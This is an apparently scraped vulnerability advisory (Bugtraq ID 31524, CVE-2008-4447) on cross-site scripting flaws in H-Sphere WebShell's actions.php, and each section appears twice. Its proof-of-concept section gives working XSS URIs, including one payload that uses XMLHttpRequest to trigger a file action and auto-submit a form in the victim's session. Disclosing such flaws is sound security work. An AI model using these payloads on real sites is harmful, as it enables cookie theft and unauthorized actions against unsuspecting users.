H-Sphere WebShell 'actions.php' Multiple Cross Site Scripting Vulnerabilities
BID:31524
Info
H-Sphere WebShell 'actions.php' Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 31524 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4447 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 01 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | C1c4Tr1Z |
| Vulnerable: |
Parallels H-Sphere WebShell 4.3.10 |
| Not Vulnerable: | |
Discussion
H-Sphere WebShell 'actions.php' Multiple Cross Site Scripting Vulnerabilities
H-Sphere WebShell is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
WebShell 4.3.10 is vulnerable; other versions may also be affected.
H-Sphere WebShell is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
WebShell 4.3.10 is vulnerable; other versions may also be affected.
Exploit / POC
H-Sphere WebShell 'actions.php' Multiple Cross Site Scripting Vulnerabilities
To exploit these issues an attacker entices an unsuspecting user into following a malicious URI.
The following example URIs are available:
http://www.example.com/actions.php?m=dload&fn=%3Ciframe/src=javascript:alert(%27XSS%27)%3E
http://www.example.com/actions.php?m=search&start=1 [POST data: fld=%2F&mask=%3Ciframe%2Fsrc%3Djavascript%3Aalert%280%29%3E]
http://www.example.com/actions.php?m=sysinfo&tab=1'><img/src/onerror=with(new XMLHttpRequest()){open('GET','http://www.victim.com/actions.php?m=futils&ac=mkd',true),send(null),onreadystatechange=function(){if(readyState==4 && status==200){with(window.open('','_blank')){document.write(responseText.replace(/<\/body>/,'<script>document.getElementsByTagName("input")[2].value="XSS";document.forms[0].submit();<\/script></body>'));document.close();}}};}
To exploit these issues an attacker entices an unsuspecting user into following a malicious URI.
The following example URIs are available:
http://www.example.com/actions.php?m=dload&fn=%3Ciframe/src=javascript:alert(%27XSS%27)%3E
http://www.example.com/actions.php?m=search&start=1 [POST data: fld=%2F&mask=%3Ciframe%2Fsrc%3Djavascript%3Aalert%280%29%3E]
http://www.example.com/actions.php?m=sysinfo&tab=1'><img/src/onerror=with(new XMLHttpRequest()){open('GET','http://www.victim.com/actions.php?m=futils&ac=mkd',true),send(null),onreadystatechange=function(){if(readyState==4 && status==200){with(window.open('','_blank')){document.write(responseText.replace(/<\/body>/,'<script>document.getElementsByTagName("input")[2].value="XSS";document.forms[0].submit();<\/script></body>'));document.close();}}};}
Solution / Fix
H-Sphere WebShell 'actions.php' Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
H-Sphere WebShell 'actions.php' Multiple Cross Site Scripting Vulnerabilities
References:
References:
- H-Sphere WebShell (Paralells)
- Paralells Homepage (Paralells)